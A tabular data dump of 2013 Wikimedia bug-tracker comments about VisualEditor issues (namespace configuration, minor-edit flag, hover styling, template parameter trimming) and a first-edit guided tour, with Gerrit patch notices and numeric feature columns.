https://gerrit.wikimedia.org/r/94420",,,1384300982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.95,"Change 94420 merged by jenkins-bot:
Make VisualEditor namespaces extend, not replace, default

GERRIT_URL"
253544,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"(In reply to comment #4)
> Why is this not working on Portuguese Wikipedia? Our ""Anexo"" namespace is a
> content namespace but this doesn't work:
> 
> https://pt.wikipedia.org/wiki/Anexo:Lista_de_listas?veaction=edit

This was because of how VE was configured to be used in WMF production; have done a config patch (above) which fixes this - will get it pushed out on Tuesday.",,,1383942790,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,17.0,4.0,0.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,15.0,10.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3461538461538463,0.8076923076923077,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

This was because of how VE was configured to be used in WMF production; have done a config patch (above) which fixes this - will get it pushed out on Tuesday."
253540,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 94420 had a related patch set uploaded by Jforrester:
Make VisualEditor namespaces extend, not replace, default

https://gerrit.wikimedia.org/r/94420",,,1383942688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9565217391304348,"Change 94420 had a related patch set uploaded by Jforrester:
Make VisualEditor namespaces extend, not replace, default

GERRIT_URL"
253536,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Why is this not working on Portuguese Wikipedia? Our ""Anexo"" namespace is a content namespace but this doesn't work:

https://pt.wikipedia.org/wiki/Anexo:Lista_de_listas?veaction=edit",,,1383940906,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,23.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,8.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.9615384615384617,0.8461538461538461,"Why is this not working on Portuguese Wikipedia? Our ""Anexo"" namespace is a content namespace but this doesn't work:

URL"
253532,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 74138 merged by jenkins-bot:
Default $wgVisualEditorNamespaces to $wgContentNamespaces

https://gerrit.wikimedia.org/r/74138",,,1374090597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.764705882352941,0.9411764705882353,"Change 74138 merged by jenkins-bot:
Default $wgVisualEditorNamespaces to $wgContentNamespaces

GERRIT_URL"
253525,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),Merged.,,,1374090551,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
253520,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 74138 had a related patch set uploaded by Helder.wiki:
Default $wgVisualEditorNamespaces to $wgContentNamespaces

https://gerrit.wikimedia.org/r/74138",,,1374063814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.95,0.95,"Change 74138 had a related patch set uploaded by Helder.wiki:
Default $wgVisualEditorNamespaces to $wgContentNamespaces

GERRIT_URL"
53515,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work","A community member marks his edits as ""minor edits"" (via preferences) by default. VE ignores un-marking it both in FF 20.0 and Chrome 27.0; see:

FF:

http://de.wikipedia.org/w/index.php?title=Benutzer:Thoken/test1&diff=prev&oldid=120588869

Chrome:

http://de.wikipedia.org/w/index.php?title=Benutzer:Thoken/test1&diff=prev&oldid=120590664

discussion on De.WP:

http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=120620759#Enthaken_von_.22Nur_Kleinigkeiten_wurden_ver.C3.A4ndert.22_ohne_Wirkung

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374049980,1374676726.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-ss6harhqovaxcprykzge,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,18.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,7.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.3943661971830985,0.6338028169014085,"A community member marks his edits as ""minor edits"" (via preferences) by default. VE ignores un-marking it both in FF 20.0 and Chrome 27.0; see:

FF:

URL

Chrome:

URL

discussion on De.WP:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
252913,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work",Fixed and will get deployed in a few minutes.,,,1374676726,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,True,,,3,,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Fixed and will get deployed in a few minutes.
252904,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work","Change 75598 merged by jenkins-bot:
Set 'notminor' if minor edit box not checked

https://gerrit.wikimedia.org/r/75598",,,1374676288,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Change 75598 merged by jenkins-bot:
Set 'notminor' if minor edit box not checked

GERRIT_URL"
252895,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work","Change 75598 had a related patch set uploaded by Esanders:
Set 'notminor' if minor edit box not checked

https://gerrit.wikimedia.org/r/75598",,,1374674902,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9583333333333334,"Change 75598 had a related patch set uploaded by Esanders:
Set 'notminor' if minor edit box not checked

GERRIT_URL"
252888,"VisualEditor: Unsetting ""minor edit"" for users with the ""mark all my edits as minor by default"" doesn't work",Confirmed in Firefox.  Note this preference is not available in English Wikipedia.,,,1374478890,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ss6harhqovaxcprykzge,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,33.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.733333333333333,0.8666666666666667,Confirmed in Firefox.  Note this preference is not available in English Wikipedia.
53500,"VisualEditor: Beta notice incorrectly highlights ""Leave feedback"" link when hovering the notice","When hovering the notice (which users do by default as the cursor is there after clicking the ""Beta"" icon on the toolbar) we highlight the ""Leave feedback"" label.

If the entire container was clickable and bound to opening the Feedback dialog that would be appropriate, however that isn't the case. On click we close the notice.

.ve-init-mw-viewPageTarget-tool:hover .ve-init-mw-viewPageTarget-tool-label, .ve-init-mw-viewPageTarget-subtool-label:hover {
text-decoration: underline;
}

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374026460,1383002871.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-7auhm5son76ryeyfeyid,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,1.0,0.0,2.0,3.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,16.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.5,2.0,4.5,1.0,0.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,2.5,0.0,1.0,3.5,1.5,0.0,2.0,0.0,1.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,1.0,3.7494346449570335,0.57756671189507,"When hovering the notice (which users do by default as the cursor is there after clicking the ""Beta"" icon on the toolbar) we highlight the ""Leave feedback"" label.

If the entire container was clickable and bound to opening the Feedback dialog that would be appropriate, however that isn't the case. On click we close the notice.

.ve-init-mw-viewPageTarget-tool:hover .ve-init-mw-viewPageTarget-tool-label, .ve-init-mw-viewPageTarget-subtool-label:hover {
text-decoration: underline;
}

--------------------------
**Version**: unspecified
**Severity**: normal"
252109,"VisualEditor: Beta notice incorrectly highlights ""Leave feedback"" link when hovering the notice",This was fixed in the toolbar re-write.,,,1383002871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7auhm5son76ryeyfeyid,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,This was fixed in the toolbar re-write.
252102,"VisualEditor: Beta notice incorrectly highlights ""Leave feedback"" link when hovering the notice",This also happens when hovering over the beta label on the toolbar (both it and the leave feedback label are underlined).,,,1375825378,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7auhm5son76ryeyfeyid,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,4.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.208333333333333,0.875,This also happens when hovering over the beta label on the toolbar (both it and the leave feedback label are underlined).
53484,VisualEditor: Spaces at the ends of template parameter values are trimmed,"In both named and unnamed parameters.

The unnamed one should be of course a bug.

Should we manage to protect named ones from being trimmed in PHP parser?

ie. generate ({{P1|1= hello <nowiki/>}}) to protect the trailing space?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=61049",Medium,50.0,1374013440,1385385582.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-573oqdvpm2jqlbzsvzdg,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,1.0,7.0,5.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,3.451219512195122,0.6585365853658537,"In both named and unnamed parameters.

The unnamed one should be of course a bug.

Should we manage to protect named ones from being trimmed in PHP parser?

ie. generate ({{P1|1= hello <nowiki/>}}) to protect the trailing space?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
251026,VisualEditor: Spaces at the ends of template parameter values are trimmed,This was fixed some time ago in the clean-up re-write of the transclusion dialog; sorry for the slow triage.,,,1385385582,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-573oqdvpm2jqlbzsvzdg,task_subcomment,,True,c1,3,True,,,21,,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.88,This was fixed some time ago in the clean-up re-write of the transclusion dialog; sorry for the slow triage.
53483,Generic first edit tour,"Make a ""First Edit"" tour to help someone make their first edit, in general.  This should not have any connection to GettingStarted.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374012600,1381904718.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-unahzezsufzzdb4k4beo,task_description,resolved,True,c1,3,True,False,False,2,,2.0,2.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,7.0,7.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.7391304347826086,"Make a ""First Edit"" tour to help someone make their first edit, in general.  This should not have any connection to GettingStarted.

--------------------------
**Version**: unspecified
**Severity**: normal"
250985,Generic first edit tour,"**swalling** wrote:

Tours for 'firstedit' and 'firsteditve' are out in the wild. :)",,,1381904718,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0416666666666665,0.75,"**swalling** wrote:

Tours for 'firstedit' and 'firsteditve' are out in the wild. :)"
250979,Generic first edit tour,This should also have browser tests.,,,1375132894,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,This should also have browser tests.
250973,Generic first edit tour,"So far I've been using separate tours (one for VE, one for wikitext), so if we continue with that approach, we should make two tours.",,,1374013366,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,6.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,9.0,12.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.40625,0.8125,"So far I've been using separate tours (one for VE, one for wikitext), so if we continue with that approach, we should make two tours."
250963,Generic first edit tour,"**swalling** wrote:

(In reply to comment #0)
> Make a ""First Edit"" tour to help someone make their first edit, in general. 
> This should not have any connection to GettingStarted.

Also should work with VisualEditor or wikitext editor.",,,1374012824,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3666666666666667,0.8,"**swalling** wrote:

(In reply to comment #0)
QUOTE
QUOTE

Also should work with VisualEditor or wikitext editor."
250953,Generic first edit tour,"Change 64981 had a related patch set uploaded by Mattflaschen:
Add tour to be used for first edit (other than GettingStarted).

https://gerrit.wikimedia.org/r/64981",,,1374012729,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"Change 64981 had a related patch set uploaded by Mattflaschen:
Add tour to be used for first edit (other than GettingStarted).

GERRIT_URL"
